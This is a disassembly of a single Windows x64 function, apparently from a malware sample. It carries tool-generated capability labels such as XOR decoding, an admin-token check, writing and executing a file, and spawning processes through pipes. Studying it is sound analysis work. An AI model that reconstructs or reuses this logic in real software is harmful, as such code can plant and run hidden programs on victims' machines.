Function at 0x140002d80
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create pipe
Create process on windows
Create thread
Encode data using xor
Get token membership
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x440
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x68]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test rax, rax
je 0x140002dff
mov r12, rax
lea r8, str.RQiTySSWJ575
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [0x140007408], rax
test rax, rax
je 0x140002e07
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140002e1d
mov r9d, 0x201010
lea r8, section..rdata
lea rdx, [0x140005010]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r9d, 0x201010
lea r8, section..rdata
lea rdx, [0x140005072]
jmp 0x140002dee
mov dword [rsp + 0x11c], 0x114
lea rcx, [rsp + 0x11c]
call qword [sym.imp.ntdll.dll_RtlGetVersion]
cmp dword [rsp + 0x120], 9
ja 0x140002e61
mov r9d, 0x201010
lea r8, section..rdata
lea rdx, [0x1400050a6]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140003605
cmp dword [rsp + 0x68], 2
jg 0x140003605
lea rdi, [rsp + 0xb0]
lea r14, [rsp + 0x230]
mov dword [0x1400073c0], 0
mov qword [0x1400073d8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0x65
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [0x1400073e0], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rsp + 0x50], r14
mov rcx, rdi
mov r9d, 0x220
mov qword [0x1400073e8], rax
mov edx, 2
lea rax, str.RQiTySSWJ575
mov r8d, 0x20
mov qword [0x1400073f0], 6
mov qword [0x140007400], rax
mov qword [0x1400073f8], 0
mov qword [0x1400073d0], 0
mov dword [rsp + 0x98], 0
mov dword [rsp + 0xb0], 0
mov word [rsp + 0xb4], 0x500
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x98], eax
test eax, eax
je 0x140002f8f
xor ecx, ecx
mov rdx, qword [rsp + 0x230]
lea r8, [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x230]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x98], 0
je 0x1400032f5
cmp dword [rsp + 0x68], 2
jne 0x1400032f5
mov ecx, 0x63
call fcn.140002be0
mov qword [0x140007410], rax
test rax, rax
je 0x140003605
call fcn.140002b00
mov edx, 0x5e618
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [section..bss], rax
mov rbx, rax
test rax, rax
je 0x140003605
xor esi, esi
call fcn.140003620
test al, al
jne 0x14000300b
mov ax, word [0x14000743c]
mov byte [rbx + rsi], al
inc rsi
cmp rsi, 0x5e618
jne 0x140002fec
lea rax, [0x1400073a0]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x140002370]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [r12 + 8]
lea rdx, str.RQiTySSWJ575
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1400032d9
xor eax, eax
lea r9, [0x140005160]
lea r8, [0x140004060]
lea rdx, [0x140004040]
mov cx, word [r9 + rax]
xor word [r8 + rax], cx
xor word [rdx + rax], cx
add rax, 2
cmp rax, 0x20
jne 0x140003064
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r14
mov r9d, 0x105
mov qword [rsp + 0x28], 0
lea rdx, [0x140004060]
call qword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
je 0x1400032d9
xor r9d, r9d
mov dword [rsp + 0x80], 0x18
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x90], 1
lea r8, [rsp + 0x80]
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1400032d9
xor r8d, r8d
mov rcx, qword [rsp + 0x78]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x1400032c4
mov eax, 1
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x40], rdi
shl rax, 0x28
mov rcx, r14
mov dword [rsp + 0xb0], 0x68
lea rdx, [0x140004040]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0x100], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
mov dword [rsp + 0xf0], 3
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140003291
mov ecx, 0x62
mov rsi, qword [rsp + 0x78]
lea rbp, [rsp + 0x6c]
lea rdi, [0x14000743c]
call fcn.140002be0
mov qword [0x140007410], rax
call fcn.140002b00
mov rbx, qword [sym.imp.KERNEL32.dll_WriteFile]
call fcn.140003620
test al, al
jne 0x140003263
mov r9, rbp
mov r8d, 1
mov rdx, rdi
mov rcx, rsi
mov qword [rsp + 0x20], 0
call rbx
test eax, eax
jne 0x14000323c
mov rcx, qword [rsp + 0x98]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x98]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0xa0]
call rbx
jmp 0x1400032c4
mov ecx, dword [0x1400073a0]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x12
call qword [sym.imp.USER32.dll_PostThreadMessageW]
mov r9d, 0x201010
lea r8, section..rdata
xor ecx, ecx
lea rdx, [0x140005100]
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rsp + 0x78]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x70]
call rbx
mov ecx, dword [0x1400073a0]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x12
call qword [sym.imp.USER32.dll_PostThreadMessageW]
jmp 0x1400035f8
lea r8, [0x140007020]
xor ecx, ecx
mov r11d, 0x1e
mov r10d, 3
mov rbx, r8
mov r9d, 0xa
mov eax, ecx
xor edx, edx
mov word [r8 + 4], 0
add r8, 6
div r11w
xor edx, edx
add eax, 0x30
mov word [r8 - 6], ax
mov eax, ecx
add ecx, 3
div r10w
xor edx, edx
div r9w
add edx, 0x30
mov word [r8 - 4], dx
cmp cx, 0x12c
jne 0x140003313
mov ecx, 0x64
call fcn.140002be0
mov qword [0x140007410], rax
test rax, rax
je 0x140003605
call fcn.140002b00
mov edx, 0x5e618
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [section..bss], rax
mov r13, rax
test rax, rax
je 0x140003605
xor esi, esi
call fcn.140003620
test al, al
jne 0x1400033b3
mov ax, word [0x14000743c]
mov byte [r13 + rsi], al
inc rsi
cmp rsi, 0x5e618
jne 0x140003392
lea rax, [0x1400024f0]
lea rcx, [0x1400073c0]
mov qword [0x1400073c8], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
xor r8d, r8d
movabs rax, 0xbf000001fa
mov edx, 0xc80000
mov qword [0x1400072e8], rax
movabs rax, 0x6800000013
lea rcx, [0x1400072e0]
mov qword [0x1400072d0], rax
movabs rax, 0xaf000000ea
mov qword [0x1400072d8], rax
movabs rax, 0x6800000110
mov qword [0x1400072c0], rax
movabs rax, 0xaf000001e7
mov qword [0x1400072e0], 0
mov qword [0x1400072c8], rax
call qword [sym.imp.USER32.dll_AdjustWindowRect]
mov esi, dword [0x1400072e8]
mov edi, dword [0x1400072ec]
xor ecx, ecx
mov rbp, qword [sym.imp.USER32.dll_GetSystemMetrics]
sub esi, dword [0x1400072e0]
sub edi, dword [0x1400072e4]
call rbp
mov ecx, 1
sub eax, esi
mov r13d, eax
call rbp
xor r8d, r8d
sub eax, edi
mov ecx, eax
cmp r13d, 0xffffffff
jl 0x14000348f
mov eax, r13d
mov r8d, 2
cdq
idiv r8d
mov r8d, eax
xor eax, eax
cmp ecx, 0xffffffff
jl 0x1400034a2
mov eax, ecx
mov r9d, 2
cdq
idiv r9d
mov dword [rsp + 0x20], r8d
mov dword [0x140007290], 0xa
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], esi
mov edx, 0x60000003
mov dword [rsp + 0x28], eax
mov r9d, 0xc80000
xor r8d, r8d
shl rdx, 3
mov ecx, 0x2000088
mov qword [0x140007280], rdx
mov rdx, qword [0x140007400]
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov r13, rax
test rax, rax
je 0x14000358e
mov edx, 5
mov rcx, rax
mov qword [0x140007288], rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
mov r8d, 0x3e8
xor edx, edx
mov rcx, r13
call qword [sym.imp.USER32.dll_SetTimer]
mov edx, dword [section..data]
mov rcx, r13
imul rdx, rdx, 6
add rdx, rbx
call qword [sym.imp.USER32.dll_SetWindowTextW]
mov rcx, r13
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [sym.imp.USER32.dll_GetMessageW]
mov rsi, qword [sym.imp.USER32.dll_DispatchMessageW]
mov rdi, qword [sym.imp.USER32.dll_TranslateMessage]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r14
call rbx
test eax, eax
je 0x14000358e
mov rcx, r14
call rsi
mov rcx, r14
call rdi
jmp 0x140003571
xor edx, edx
mov rcx, qword [0x140007400]
call qword [sym.imp.USER32.dll_UnregisterClassW]
cmp dword [0x14000727c], 0
je 0x1400035f8
xor eax, eax
lea rcx, [0x140004020]
lea r8, [0x140005160]
mov dx, word [rcx + rax]
xor dx, word [r8 + rax]
mov word [rcx + rax], dx
add rax, 2
cmp rax, 0x20
jne 0x1400035b6
lea r9, str.RQiTySSWJ575
lea rdx, [0x140004020]
xor ecx, ecx
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r8, qword [r12]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [section..bss]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [0x140007408]
test rcx, rcx
je 0x140002df6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002df6